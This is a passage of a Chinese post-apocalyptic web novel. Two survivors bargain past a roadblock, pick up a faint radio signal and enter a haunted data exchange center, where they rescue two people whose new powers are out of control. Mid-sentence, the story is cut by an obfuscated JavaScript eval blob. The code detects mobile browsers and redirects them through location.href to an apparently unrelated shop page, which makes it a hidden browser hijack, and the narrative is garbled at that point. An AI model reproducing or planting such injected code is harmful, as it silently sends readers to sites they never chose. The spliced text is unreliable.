最后,“掌柜”的声音因恐惧而颤抖,几乎带上了哭腔:“……但那地方去不得!有个……有个‘东西’盘踞在那儿!不是普通的数据幽灵,更像……是当年陷在那里的人,他们的意识被风暴撕碎后又糅合在一起的……‘集体意识残响’!能直接钻进你脑子里!之前去的人……都没回来!” 陆昭妄眯起眼,似乎在掂量这番话的真伪。片刻后,他撤回钢筋,在“掌柜”如蒙大赦的喘息声中,毫不客气地搜刮了对方身上所有看起来有用的东西——几块高能量电池、一个小型但功能未知的信号放大器,还有那张皱巴巴的服务器型号示意图。 “谢了,‘掌柜’,”他语气轻快,仿佛刚才的生死相搏只是一场游戏,“祝你……生意兴隆?” 说完,他便和沈悬衡迅速离开了这片弥漫着血腥和恐惧的烂尾楼群。 夜色深沉。两人在远离烂尾楼群的一处半塌陷的地下室里落脚。这里相对隐蔽,只有一丝微弱的、不知来源的数据流光从裂缝透入,提供着最低限度的照明。 陆昭妄靠坐在墙边,借着那点微光,研究着从“掌柜”那里弄来的图纸。沈悬衡则坐在他对面,默默整理着随身携带的、所剩不多的药品和物资。 寂静中,陆昭妄忽然停止了看图。他伸手进外套内袋,摸索了片刻,掏出了一个东西——一颗包装纸有些磨损,但依旧完好的水果硬糖。旧世界的产物,色彩鲜艳得与这个灰败的世界格格不入。 他小心地剥开糖纸,将里面那颗透明的橙色糖块掰成大小不匀的两半,然后将明显更大的那一半,递到了沈悬衡面前。 “补给里翻到的,”他语气随意,像是在讨论今天自家的橘猫用推土机的方式狂吃了三大碗猫粮,“算是庆祝没死成的演出费。” 沈悬衡抬起眼,看了看他,又看了看他掌心那半颗糖。她没有犹豫,伸手接过,放入口中。 柑橘的甜味在舌尖缓缓化开,但紧随其后的,是一股明显的、因时间过长而产生的涩味和微弱的变质感。 片刻后,她平静地说:“过期的。” 陆昭妄看着她,咧嘴一笑,跳动的微光在他深褐色的眼眸里映出细碎的光点:“将就吧,队长。在这年头,能尝到甜头本身就是个奇迹。” 他顿了顿,将剩下那小半颗糖扔进自己嘴里,一边感受着那变质甜味带来的微妙刺痛,一边用再自然不过的语气接上: “明天一早,北上。那个服务器阵列,我志在必得。” 沈悬衡将目光从他那张带着擦伤、却写满理所当然的脸上移开,投向地下室外那片无边无际的黑暗,轻轻“嗯”了一声。 地下室里重归寂静,只有彼此轻微的呼吸声。一种无需言明、共同北上的默契,在过期糖的怪异甜味中,悄然生根。 6. 这破收音机居然不是摆设 晨光,如果那透过厚重辐射云投下的、稀薄而扭曲的光线也能被称之为晨光的话,吝啬地洒在这片死寂的大地上。 陆昭妄一脚踢开挡在路中央的、某个辨识不出原貌的电子设备残骸,它翻滚着发出哐当的声响,打破了清晨废墟的宁静——如果这种浸透着绝望的凝固也能被称之为宁静的话。 “一日之计——在于晨,”他深吸了一口混合着金属粉尘和数据余烬的空气,满足地叹了口气,“多么……充满希望的开端。” 沈悬衡跟在他身后半步,目光扫过街道两旁那些如同被巨兽啃噬过的建筑残骸。她没有回应他那带着刺的感慨,只是将背上那个装着她全部家当——主要是药品和少量物资的布袋——往上提了提。 他们很快离开了相对“熟悉”的废墟地带,踏上了北上的公路。公路像一条灰黑色的、僵死的巨蟒,蜿蜒着伸向未知的远方。两旁是成片枯死的树林,枝桠扭曲地指向天空,仿佛在无声地控诉。翻覆的车辆残骸随处可见,有些已经被五彩斑斓的数据结晶覆盖,在黯淡光线下反射出诡异的光泽。 “看那边,”陆昭妄指着一段奇特的景象——几辆轿车和小巴如同被顽童丢弃的玩具,违反重力地悬浮在离地数米的空中,缓缓打着转,“啧,这段路的物理老师怕是死得比较早。” 他们谨慎地绕开了那片重力异常区。陆昭妄的视线落在了一辆几乎完全嵌入旁边建筑物墙壁的公交车上,那冲击性的姿态仿佛一个永恒的瞬间。他挑了挑眉,语气带着惯有的嘲弄:“看这嵌入角度和力度,当年这位司机师傅的驾照,我赌五毛钱是买的。” 沈悬衡的目光掠过车窗,那里面的阴影勾勒出几个凝固的、保持着最后姿态的身影轮廓。她沉默了片刻,才轻声回应,声音平静得像在陈述一个事实:“也许他只是想抄个近路,去一个没有站牌的地方。” 陆昭妄侧头看了她一眼,似乎没料到她会接这么一句,随即低低笑了一声,带着点说不清道不明的意味:“……有道理。看来我们对‘目的地’的理解,还挺有共通之处。” 沈悬衡没有再接话,她的注意力被路边一丛奇特的植物吸引。它从龟裂的沥青缝隙中顽强地钻出,叶片扭曲得不自然,却顶着一朵散发着微弱荧光的小小蓝花。 她停下脚步,仔细观察了一下,然后指着那朵花对陆昭妄说:“它在努力长得不像食物,这样比较安全。” 陆昭妄凑过去看了看,又看了看沈悬衡一本正经的脸,扯了扯嘴角:“行,算它聪明。不过在这种地方,长得越奇怪的东西,往往越有毒。”他顺手从旁边捡起一根半融化的塑料管,小心翼翼地将那株植物连根挑起,甩到了一边,“安全第一,圣人小姐。” 前行不久,一辆侧翻在路边的军用卡车挡住了部分去路。车厢敞开,里面一片狼藉。 “碰碰运气。”陆昭妄眼睛微亮,像只发现了潜在宝藏的狐狸,利落地攀上车厢边缘,探头进去翻找。一阵金属摩擦和物品碰撞的声响后,他带着些许嫌弃跳了下来,手里拿着几包包装破损、印着模糊字迹的压缩饼干,以及一个外壳坑坑洼洼、天线都歪了一半的旧式收音机。 “穷鬼。”他评价道,拍了拍手上的灰,然后开始不死心地摆弄那台收音机。开关被反复拨动,旋钮拧来拧去,扬声器里只传出断续的、如同垂死呻吟般的电流嘶哑,偶尔夹杂着几个被扭曲得无法辨识的词句片段。 “啧,”他屈指弹了弹收音机的外壳,“这玩意儿比‘屠夫’的脑子还不好使,接收范围估计还没我的骂声传得远。” 沈悬衡拿起一包压缩饼干,看了看上面模糊不清的生产日期和成分表,又抬眼看了看陆昭妄手里那台执着地发出噪音的破烂收音机,平静地开口:“至少它和这饼干一样,都曾属于一个相信‘未来’的时代。” 陆昭妄动作一顿,抬眼看向她,女孩苍白的脸上没什么表情,仿佛只是陈述了一个再平常不过的事实。他挑眉,嘴角勾起一个似笑非笑的弧度:“我现在确定了你这种黑色幽默是天生的,圣人小姐。杀伤力不小。” 他将收音机随手塞进自己的背包侧袋,虽然嘴上嫌弃,却并没有丢弃。“走吧,希望前面能有点……不那么怀旧的东西。” 北上的道路比预想中更加漫长。 废弃车辆和坍塌的障碍物迫使两人多次绕行,有时不得不穿过公路两旁枯死的林地。林地里寂静得可怕,只有脚踩在脆裂枝叶上的声音,偶尔能看到一些小型变异生物的骸骨,被啃噬得干干净净。 “按照这个速度,走到那破交换中心,我头发都得愁白几根。” 陆昭妄一边用那根随身携带的钢筋拨开挡路的荆棘丛,一边抱怨。他左侧那缕银灰挑染在昏暗光线下确实更显眼了。 沈悬衡跟在他身后,她的步伐很稳,呼吸均匀,似乎在保存体力。她的目光更多停留在环境细节上——土壤的湿度、风带来的气味、远处天际线数据流的颜色变化。 “走直线距离最近,但风险未知。绕行安全,但消耗时间和体力。”她平静地陈述,像是在做一个客观评估。 “废话文学精髓让你掌握了,队长。”陆昭妄头也不回,“我的建议是,赌一把,找条还能通车的路冲过去。你那‘天平’总不能老用来称人心,偶尔也得称称运气吧?” 沈悬衡没有反驳。她确实在权衡。持续暴露在野外,遭遇游荡的数据幽灵或更麻烦的东西的概率会不断增加。 他们的“运气”在一个多小时后来临——一条看起来相对通畅的辅路出现。然而,这份“运气”在拐过一个弯后,立刻打了折扣。 前方,一个旧时代的公路收费站横亘在路中央。它并非完全废弃,锈蚀的升降杆被人为修复并放下,收费亭的窗口后面似乎有人影晃动,旁边的路障也被加固过,上面甚至缠绕着带着铁刺的铁丝网。 几个衣衫褴褛但眼神警惕的人站在路障后,手里拿着简陋的武器,主要是磨尖的钢筋和自制的砍刀。 “啧,‘此路是我开’的经典戏码。”陆昭妄停下脚步,眯起眼睛快速扫视着对方的人数和布局,“人数不多,五六个。占了制高点,有点麻烦,但不是不能打。”他掂了掂手里的钢筋,语气里带着评估,“强攻的话,三分钟,最多挂点小彩。” 沈悬衡的观察则更细致。她注意到对方几个人脸色都不太好,嘴唇干裂,其中一人还在压抑着低咳。 他们的站位虽然利用了地形,但彼此之间缺乏有效的呼应,更像是一群凭借本能聚集在一起、惊弓之鸟般的幸存者。而且,她看到站在稍后位置的一个年轻人,眼神里的恐惧远远大于敌意,握着武器的手甚至在微微发抖。 “他们状态不好,”沈悬衡低声说,目光锁定那个咳嗽的人,“可能有水源污染或者呼吸道感染。而且,他们很害怕。” “害怕才好办,吓唬一下说不定就散了。”陆昭妄不以为意。 “恐惧也会让人拼死一搏。”沈悬衡反驳,她沉吟了一下,“强攻消耗太大,而且……没必要。” “哦?”陆昭妄挑眉看她,“圣人小姐又有什么高见?用爱感化?” 沈悬衡没理会他的讽刺,从自己的布袋里小心地取出一个小塑料盒,里面是她分装好的少量常用药片——主要是止痛消炎和净水片。“我用这些,换我们安全通过。” 陆昭妄愣了一下,随即嗤笑:“你确定?这帮人看起来可不像是会知恩图报的主。说不定拿了药,反手就给我们一梭子。” “所以他们需要一点威慑。”沈悬衡看向他,意思很明显。 陆昭妄与她对视两秒,明白了她的计划。他咧开嘴,露出一个带着点兴奋的笑容:“懂了。你唱红脸,我唱白脸。行,这活儿我熟。” 他活动了一下脖颈,将钢筋扛在肩上,整个人散发出一种慵懒却极具压迫感的气势,像一头蓄势待发的猎豹。 沈悬衡深吸一口气,独自向前走了十几步,在距离路障还有二三十米的安全距离外停下,高高举起手中的药盒。 “我们没有恶意!”她提高了声音,确保对方能听清,但语气并不激烈,反而带着一种奇异的安抚力量,“只是需要借路通过!我们可以用药品交换!” 收费站那边一阵骚动。一个看起来像是头领的、脸上带着一道陈旧疤痕的男人从收费亭后探出身子,厉声喝道:“滚开!这里不通!再靠近就不客气了!”他挥了挥手里的砍刀,但他微微颤抖的尾音暴露了他内心的紧张。 “你们有人生病了,”沈悬衡没有退缩,目光平静地迎向那头领,同时不着痕迹地用眼神示意了一下那个咳嗽的人,“咳嗽,低烧,可能是水源问题。这些药能缓解症状,还有净水片。我们只需要安全通过,并且保证不泄露你们的位置。” 那头领眼神闪烁,显然被说中了痛点。他狐疑地打量着沈悬衡,又看了看她身后那个扛着钢筋、一脸“老子很不好惹”的陆昭妄,似乎在权衡。 陆昭妄适时地向前走了几步,停在沈悬衡侧后方,没有靠得太近,但足以让对方清晰地感受到他的存在。 他没有说话,只是用那双深褐色的眼睛,如同扫描仪一样,冰冷地、一个一个地扫过路障后的每一个人,最后定格在那个头领身上。他右手无意识地转动着钢筋,金属与掌心摩擦发出细微却令人心悸的沙沙声。 这是一种无声的施压。他在明确地传递一个信息:谈判可以,但想动武,我们奉陪。 沈悬衡能感觉到身后传来的、如同实质般的威慑力。她维持着举药的姿势,一动不动,像一尊沉静的雕像。 时间仿佛凝固了。只有风穿过收费站破洞发出的呜咽声,以及那个生病者压抑不住的咳嗽声。 终于,那头领深吸了一口气,又缓缓吐出,紧绷的肩膀垮下来一点。他死死盯着沈悬衡手中的药盒,又忌惮地瞥了一眼陆昭妄,哑声开口:“……把药放在地上,退后!” 沈悬衡依言照做,将药盒轻轻放在地上,然后后退了几步。 头领对旁边一个手下使了个眼色。那人小心翼翼地跑过来,飞快地捡起药盒,又跑了回去。 头领检查了一下药盒里的东西,脸色缓和了些许。他挥了挥手,对旁边的人粗声吩咐道:“把杆子抬起来!让他们过去!” 锈蚀的升降杆被艰难地抬起,发出了刺耳的金属摩擦声。 沈悬衡微微颔首:“谢谢。” 她转身,看向陆昭妄。陆昭妄冲她挑了挑眉,扛着钢筋,率先迈步,以一种从容不迫、甚至带着点巡视领地的姿态,穿过了收费站。沈悬衡紧跟在他身后。 经过路障时,那个之前眼神恐惧的年轻人下意识地避开了他们的视线。陆昭妄的目光在他身上停留了一瞬,没有任何表示,随即移开。 直到走出很远,将收费站彻底甩在身后,陆昭妄才懒洋洋地开口,语气里听不出是赞许还是别的什么:“可以啊,队长。成本控制做得不错。几片药换一条路,这买卖做得。” 沈悬衡看着前方依旧漫长的公路,轻声回应:“他们也只是想活下去。” “想活下去没错,”陆昭妄嗤笑,“但方式蠢了点。占着那种地方,迟早被更大的鱼吃掉。”他顿了顿,补充道,“当然,比起直接被我们吃掉,算他们运气好。” 沈悬衡没有再接话。 她知道,他说的或许是这个末日里最真实的生存法则。但她依然选择用她的方式,去触碰那一丝或许微不足道的、不同于纯粹掠夺的可能性。而这一次,他选择了配合。 夜色如同浓稠的墨汁,迅速浸染了荒芜的原野。不敢生明火,陆昭妄只掰了一小块化学燃块,幽蓝色的火焰无声地舔舐着黑暗,提供着有限的光和微乎其微的热量。两人背靠着一堵半塌的隔音墙坐下,分享着寡淡的压缩饼干和瓶装水。 沉默并没有持续太久。陆昭妄又拿出了那个破收音机,像是跟它杠上了,手指耐心地、一点点地调节着调频旋钮。刺耳的杂音断断续续,如同怨灵的絮语,充斥着不祥的预兆。 “我就不信了……”他低声咕哝着,眉头微蹙,全部的注意力都集中在指尖那细微的触感和耳边嘈杂的声响上。 沈悬衡没有打扰他,只是安静地坐着,目光落在跳跃的蓝色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647163|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火焰上,仿佛能从那里看出什么命运的启示。她的侧脸在冷光下显得格外清晰,也格外苍白。 突然,一阵极其微弱、但相对稳定的信号音,如同溺水者浮出水面换气般,短暂地压过了杂音! “……&%¥#……基……石……重复……%¥#……” 虽然大部分内容依旧被干扰得模糊不清,但“基石”两个字,却异常清晰地钻进了两人的耳朵里。 陆昭妄猛地抬起头,眼中闪过一丝锐利的光,与沈悬衡瞬间投来的目光在空中交汇。无需言语,他们都明白——这证实了“掌柜”的情报并非空穴来风。 那个虚无缥缈的“伊甸园”,似乎真的与这座废墟的某个角落存在着联系。 他试图稳住这个信号,手指动作更加精细,但那股稳定的波动如同狡猾的游鱼,稍纵即逝,收音机里很快又恢复了令人心烦意乱的噪音。 “啧,跟个害羞的小屁孩似的,露个脸就跑。”陆昭妄有些不甘地拍了拍收音机的外壳,但还是将它小心地放在身边,仿佛那是一件重要的工具,而非破烂。 这个小小的发现,像一颗投入死水潭的石子,激起了涟漪。 陆昭妄靠在冰冷的墙面上,目光投向远处黑暗中数据风暴偶尔划过的、如同癫痫病人脑电波般的诡异光带,习惯性地开始了他的“怀疑论”演讲: “就算这信号是真的,指向的也未必是什么好地方。一个需要‘基石’,还搞‘筛选’的地方,听起来就跟公司招聘似的,还是那种待遇说得天花乱坠、进去就往死里压榨的黑心企业。说不定那‘伊甸园’就是个大型培养皿,我们这种在外面挣扎的,就是他们预备的‘燃料’或者‘实验素材’。”他扯了扯嘴角,露出一个近乎刻薄的笑容,“用希望包装陷阱,可是智慧生物的传统艺能。” 沈悬衡安静地听着,没有立刻反驳。她伸出手,指尖在化学燃块上方感受着那点微不足道的热量,直到觉得有些烫了才缩回来。 “即使它最终证明是另一个精致的陷阱,”她开口,声音不高,却像涓流,沉稳地穿透了他话语中构筑的冷嘲热讽的壁垒,“寻找它的过程本身,也在定义我们想成为什么样的人,而不是被动地接受这个世界变成的样子。” 她转过头,看向他,那双黑棕色的眼眸在幽蓝光晕下,像是蕴藏着整个星空的沉淀。 “我们是在选择方向,哪怕前方是悬崖,也好过在原地腐烂,或者……变成收费站那些人。” 陆昭妄沉默了片刻,没有像往常那样立刻用更犀利的言辞回击。他屈起一条腿,手臂搭在膝盖上,手指无意识地捻动着地上的尘土。 过了好一会儿,他才哼了一声,语气听起来有些别扭,但那股尖锐的嘲讽却淡了下去: “……行吧,你说得对。至少这一路上,抢劫和反抢劫的活儿没少干,挺充实,没虚度光阴。”他顿了顿,又像是找回了一点场子,补充道,“而且,看你这‘圣人’一步步学会怎么跟人‘做交易’,也挺有意思。” 这几乎算是一种变相的认可了。沈悬衡极轻微地弯了一下唇角,没有戳破他话语里的那点不自在。 分享食物的时候,陆昭妄会看似随意地将自己那份压缩饼干里,看起来稍微完整点、碎渣少一点的那块,递给沈悬衡。而沈悬衡,则会在他低头再次研究那台收音机,试图从杂音中分辨出更多信息时,将自己水壶里本就不多的水,悄悄往他手边推近一些。 幽蓝色的火焰无声燃烧,映照着两个依偎在末日废墟中的身影。 收音机里的杂音依旧,但某种比信号更微妙的东西,似乎正在这寂静的荒野上,悄然调整着频率。 又经历了近两日枯燥而警惕的跋涉,绕过一片曾是湿地的、如今布满诡异彩色水洼和扭曲金属残骸的区域后,他们终于在某个黄昏时分,登上了一处布满碎石的高坡。 然后,它出现在地平线上。 区域数据交换中心。 它并非想象中高耸入云的塔楼,而是一片匍匐在大地上的、庞大到令人心悸的建筑群,如同一头沉默的钢铁巨兽,在夕阳血红色的余晖下投下绵延的阴影。 外墙是单调的灰黑色,上面布满了巨大的、如同爪痕般的撕裂伤口,暴露出发黑扭曲的内部结构。更令人不安的是,整片建筑群都被一层肉眼可见的、如同热浪般不断扭曲摇曳的光晕笼罩着,那光晕呈现出一种病态的、不断变幻的紫绿色,仅仅是远远望着,就让人感到眼球刺痛和隐隐的精神压迫。 “……哇哦,”陆昭妄发出一声没什么温度的感叹,举起那个旧望远镜,仔细调整着焦距,“这欢迎仪式可真够隆重的。看起来像是被什么东西从内部……‘消化’过一遍,又吐了出来。” 他观察了片刻,眉头渐渐拧紧,语气里那点玩笑意味消失了,取而代之的是一种面对未知威胁时的凝重:“结构损毁比预想的严重,可见的入口不多,而且都被堵得七七八八。那层光晕……让我不太舒服。” 沈悬衡站在他身旁稍靠后的位置,夜风吹起她墨黑的长发,拂过苍白的面颊。 她没有借助任何工具,只是静静地凝视着远方那片扭曲的建筑群,她的目光似乎能穿透那层不祥的光晕,感受到其内部蕴含的、混乱而庞大的精神乱流。那种无数意识被撕碎、糅合、永无止境哀嚎的残留回响,即使隔得这么远,也如同细微的针刺,试图钻进她的脑海。 她轻轻吸了一口气,晚风带着远方传来的、若有若无的电子悲鸣般的杂音。 “‘集体意识残响’……”她低声重复着“掌柜”说出的那个词,声音轻得像耳语,却带着沉甸甸的分量。 陆昭妄放下望远镜,侧头看了她一眼,看到她眼中罕见的、极其凝重的神色。他咧了咧嘴,想说什么,最终却只是抬手,用指节擦了擦自己下颌的擦伤,简单地说: “明天进去。找个地方过夜,养足精神。” 他没有再发表任何讽刺或抱怨。目标已在眼前,危险不言而喻。 北上的终点散发着诱人而致命的气息,而真正的考验,在暮色四合中,刚刚拉开序幕。 7. 救命之恩,下次收费 陆昭妄说找地方过夜,就真的只是找了个“地方”——一栋斜靠在巨型广告牌骨架上的三层小楼,入口被坍塌的预制板掩埋大半,需要侧身才能挤进去。 里面布满灰尘和蛛网,但结构意外地稳固,最重要的是,视野足够开阔,能清晰地监视远处那座笼罩在扭曲光晕中的建筑群。 “将就一下吧,五星级危楼,附赠全景怪物房观赏位。”他随手将背包扔在角落,自己则占据了对准入口和窗口的战术位置,动作熟练得像是在自己家挑沙发。 沈悬衡没说什么,默默检查了一遍一楼的环境,确认没有其他出口和潜在危险后,才在他斜对面的位置坐下,将装着药品的布袋放在触手可及的地方。 两人之间隔着恰到好处的距离,既能随时呼应,又不会显得过分亲近。 夜色渐深,外面偶尔传来数据风暴掠过废墟的呜咽,或是某种未知生物的窸窣声响。交换中心方向的那片紫绿色光晕,在黑暗中如同缓慢搏动的巨大心脏,无声地散发着不祥。 陆昭妄不知从哪儿摸出那半块之前没吃完的、包装皱巴巴的压缩饼干,掰了一小块扔进嘴里,机械地咀嚼着,目光始终没有离开窗口外的黑暗。 “喂,”他突然开口,声音在寂静中显得有些突兀,“你说那玩意儿……”他用拿着饼干的手指了指交换中心的方向,“……是靠什么判断攻击目标的?随机抽取倒霉蛋?还是像某些弱智游戏一样,有个隐藏的仇恨值系统?” 他似乎并不真的期待答案,更像是在用这种方式驱散过于凝重的气氛,或者说,是在用自己的方式确认同伴的状态。 沈悬衡正小口喝着水,闻言动作顿了顿,顺着他的目光看向那片光晕。她的侧脸在微弱的光线下显得沉静。 “可能兼而有之。”她放下水壶,声音平稳,“强烈的情绪波动,或者试图理解、解析它的行为,都可能被视作挑衅。” “哦?”陆昭妄挑眉,转过头看她,嘴角勾起惯有的、带着点玩味的弧度,“那按照这个逻辑,我这种脑子里时刻都在试图拆解它运行规律的,岂不是它的头号靶子?而你这种……”他顿了顿,像是在寻找合适的词,“……情绪稳定的‘圣人’,反而安全些?” “不确定。”沈悬衡迎上他的目光,黑棕色的眼眸里没有任何波澜,“但我的能力,本质上是‘介入’与‘分担’。对它而言,或许同样是明显的信号。” 陆昭妄盯着她看了两秒,忽然低笑出声,转回头去,继续啃他那块可怜的压缩饼干:“行吧。看来明天我们俩在它眼里,都是闪闪发光的显眼包。挺好,公平。” 后半夜由沈悬衡先守。 陆昭妄靠着墙壁,闭着眼,呼吸平稳,但沈悬衡知道他没睡着。他的手指偶尔会无意识地在身旁的钢筋上轻轻敲击,频率和他思考时一样。 当第一缕惨白的光线艰难地穿透辐射云和尘埃,将废墟的轮廓从黑暗中剥离出来时,陆昭妄几乎同时睁开了眼睛,眸子里没有丝毫刚睡醒的迷茫。 他站起身,活动了一下有些僵硬的脖颈,发出轻微的咔哒声。 “走了,”他的语气恢复了平时的懒散,却多了一丝不易察觉的锐利,“去会会那个能把人逼疯的‘集体意识’。” 沈悬衡默默整理好物品,站起身。 他们离开临时据点,再次走向那片匍匐在地平线上的钢铁巨兽。越是靠近,空气中那股无形的精神压迫感就越是清晰,仿佛有冰冷的细针持续刺探着皮肤的感知边界。 交换中心入口处那片被撕裂的金属豁口,如同巨兽张开的口器,内部是更深沉的黑暗,隐约可见杂乱倾倒的机柜和闪烁的、意义不明的光点。 陆昭妄在入口前几步停下,眯眼感受了一下那如同实质般涌出的、混杂着无数痛苦低语的精神乱流,啧了一声。 “欢迎来到精神病院主题乐园,”他侧头对沈悬衡说,脸上扯出一个混合着兴奋与警惕的、近乎挑衅的笑容,“准备好参观了吗,队长?” 沈悬衡没有看他,她的目光已然投向那片深邃的黑暗,右手手背上,那天平形状的疤痕似乎隐隐发烫。她轻轻吸了一口气,迈出了第一步。 “跟紧。”她说。 踏入交换中心的瞬间,仿佛穿透了一层冰冷粘稠的水膜。 外部世界的声音骤然远去,取而代之的是一种无处不在的、由无数细微低语、哭泣和电子杂音混合成的背景音,直接钻进脑海。视野内的景象也开始扭曲,冰冷的金属机柜仿佛在缓慢蠕动,投下的阴影如同活物。 “啧,这装修风格可真够意识流的。”陆昭妄低声吐槽,眼神却锐利如鹰,快速扫视着周围环境。他指向一条看似相对稳定、数据流“足迹”稍显稀疏的通道,“这边,逻辑扰动稍微弱一点,像条‘常走的路’。” 沈悬衡跟在他身后,她的感觉更为直接。那些弥漫在空气中的低语,并非毫无意义的噪音,而是承载着痛苦、恐惧和绝望的情绪碎片。 她需要时刻运转【私心天平】,像一道无形的滤网,将那些试图侵入她心神的负面情绪共鸣小心翼翼地引导、疏解,而非全部承受。这让她脸色微微发白,但步伐依旧稳定。 他们沿着陆昭妄推断的路径谨慎前行。没走多远,周围的景象骤然一变! 不再是冰冷的机房,而是一片不断闪烁、拼接的混沌空间。时而像是燃烧的街道,时而像是坍塌的教室,时而又变回布满乱码的服务器矩阵。无数模糊、扭曲的人影在其中哀嚎、奔跑、消散。 “记忆回廊……”沈悬衡轻声道,印证了“掌柜”的情报。 几乎是同时,两人遭到了针对性的攻击。 沈悬衡的耳边响起了那个小女孩清晰无比的哭声,不仅仅是哭声,还有更多陌生的、濒死者的痛苦呻吟和祈求,如同潮水般涌向她,试图将她拖入无边的共情深渊。 她闷哼一声,右手手背的天平疤痕微微发亮,翠绿的数据流在她周身若隐若现,艰难地维持着内心天平不至于被这些沉重的“伤害”压垮。 而陆昭妄则陷入了一个由无数闪烁的公式、悖论和逻辑陷阱构成的迷宫。 眼前的数据流不再是杂乱的代码,而是化作了不断自我矛盾、自我否定的命题,疯狂地冲击着他的思维,试图让他引以为傲的逻辑彻底崩溃。他额角青筋隐现,瞳孔中仿佛有无数无形的算符在疯狂闪烁、重组。 在一次尤为猛烈的逻辑冲击间隙,陆昭妄猛地甩头,试图驱散脑内尖锐的刺痛感,他靠着旁边一个时隐时现的、如同墓碑般的机柜虚影喘息,哑声问旁边的沈悬衡:“还撑得住吗,圣人小姐?” 沈悬衡刚将一股几乎要撕裂她意识的绝望感疏导开,擦去额角渗出的冷汗。她不仅没有流露出后怕,反而抬眼看向他,嘴角浮现一丝极淡、却清晰可见的弧度:“你的声音还在,就撑得住。” 陆昭妄明显一怔,耳根不受控制地微微发热,立刻有些狼狈地别开脸,语气硬邦邦地反驳:“……少来这套!我是怕你倒了没人给我挡刀!” 沈悬衡不再说话,只是那抹清淡的笑意在她苍白的脸上多停留了几秒,像是无声地赢得了某场小小的、心照不宣的较量。 然而,这短暂的互动很快被打破。 沈悬衡的【私心天平】猛地感知到一股截然不同的波动——并非回廊本身弥漫的、沉淀已久的绝望,而是两个刚刚诞生、极度狂暴且互相纠缠的“伤害”源,就在前方不远处的回廊深处激烈碰撞、哀鸣。 “那边有人!”沈悬衡神色一凛,立刻转向波动传来的方向,“刚觉醒异能,完全失控了!” 陆昭妄眉头瞬间拧紧,一把抓住她的胳膊:“沈悬衡!你看看我们自己的状态!我们是来找‘伊甸园’线索的,不是来当末日慈善机构! 那两个人是死是活跟我们有什么关系?能力是有限的,用一点少一点,在这种鬼地方浪费在他们身上,我们可能都得交代在这!” 他的声音带着罕见的严厉和急躁。 沈悬衡看着他,眼神依旧平静,却带着不容置疑的决绝:“我的能力,定义是‘分担’。见死不救,违背它的核心。你可以选择留下。” 说完,她挣开他的手,转身毫不犹豫地循着感知的方向而去。 “你!”陆昭妄气结,看着她的背影迅速被扭曲的光影吞没,狠狠一拳砸在旁边的机柜虚影上,拳头穿透了幻象,带来一阵无力感。 他烦躁地扒了下头发,最终没有跟上去,而是留在原地,脸色阴沉地监视着周围,嘴里低骂:“疯子……固执的疯子……” 没过多久,前方传来的能量波动骤然加剧,伴随着沈悬衡一声压抑的痛哼。陆昭妄瞳孔一缩,再也顾不得其他,低骂一声“操!”,身影如电般冲了过去。 只见在一片由破碎家庭影像和闪烁错误代码拼接成的诡异空间中,沈悬衡正被一股强大的、具象化的“绝望冲击”逼得节节败退,她的天平光幕剧烈闪烁,眼看就要破碎。而冲击的源头,来自不远处那两个身影—— 一个栗色马尾的女孩双眼赤红,泪流满面,周身环绕着失控的、肉眼可见的情绪冲击波,而她的身影和声音都变得极其淡薄模糊,仿佛随时会从这个世界被彻底擦除。 另一个短发男人则挡在她身前,他的表情因极力克制而显得冰冷僵硬,动作也带着一种异样的迟钝感,却以一种近乎本能的方式,不断将涌向女孩的部分精神攻击和混乱能量封存、吸收,显然也承受着巨大的负担。 “沈悬衡!你他妈的就是算准了我会管你是不是!” 陆昭妄怒火中烧地吼道,同时集中精神,【逻辑重构】强行介入,目标并非那股绝望冲击本身,而是其构成与锁定沈悬衡的逻辑链。他像是一个最顶尖的黑客,找到了攻击程序中的一个微小漏洞,并瞬间将其放大、扭曲。 那股强大的冲击在即将吞噬沈悬衡的前一刻,如同程序运行出错般,诡异地偏转了方向,轰击在旁边的虚空之中,炸开一片混乱的数据火花。 沈悬衡压力一轻,踉跄一步,看向赶来的陆昭妄,眼神复杂。 而那个短发男人立刻抓住这喘息之机,朝着他们焦急地低吼,声音因情感冻结而缺乏起伏,却带着不容置疑的紧迫感:“她还在!别忽略她!她快消失了!” 直到这时,陆昭妄和沈悬衡才猛地将注意力完全聚焦到那个存在感几乎归于零的女孩身上。 陆昭妄眼神锐利地扫过现场,瞬间明白了状况:“两个新手‘炸弹’,一个快把自己‘静音’到不存在了,另一个快被自己憋炸了!”他语速极快地对沈悬衡说,“我去干扰那个情绪风暴,你想办法让那个‘冰块’稳住!这地方不能久留!” 陆昭妄的怒喝还在空气中振动,行动却已先于言语。他目光锁定了那个情绪风暴的中心——那个栗色马尾的女孩,【逻辑重构】并非直接攻击她,而是如同手术刀般,精准地切入她周围那片狂暴力场的“情绪共鸣”逻辑。他强行注入一个“悖论”:让那些四散冲击的情绪波在传播中自我抵消。 霎时间,女孩周身那肉眼可见的扭曲力场像是被无形的手扼住了咽喉,虽然依旧不稳定,但那种无差别的、毁灭性的冲击力骤然减弱。 几乎在陆昭妄出手的同时,沈悬衡已冲向那个短发男人。她看出对方的能力在被动地、超负荷地封存着伤害,这过程本身就在不断加重他的负担。 “停止封存!引导它散掉!”她对他喊道,声音带着一种奇异的穿透力。 同时,她右手虚按向男人身前那片混乱的能量区域,【私心天平】再次发动,这一次不是分担伤害,而是强行建立了一个短暂的单向连接,将部分涌向他、即将被他封存的混乱能量,引导向自身,再通过自身作为媒介,将其无害地导入周围回廊的环境之中。 这过程让她身体剧烈一震,嘴角渗出一丝血迹,但男人的压力肉眼可见地减轻了。 压力骤减的短发男人,凭借着一股异乎寻常的坚韧意志,终于抓住这宝贵的间隙,强行中断了那被动吸收的能力。他冰冷的、近乎机械的目光扫过现场,迅速判断出关键所在。 他没有去管暂时被陆昭妄压制住的女孩,而是猛地扑向回廊一侧——那里,几段由绝望记忆具象化而成的、如同黑色藤蔓般的阴影,正趁着混乱,悄无声息地缠向因存在感稀薄而几乎被所有人忽略的女孩的脚踝! 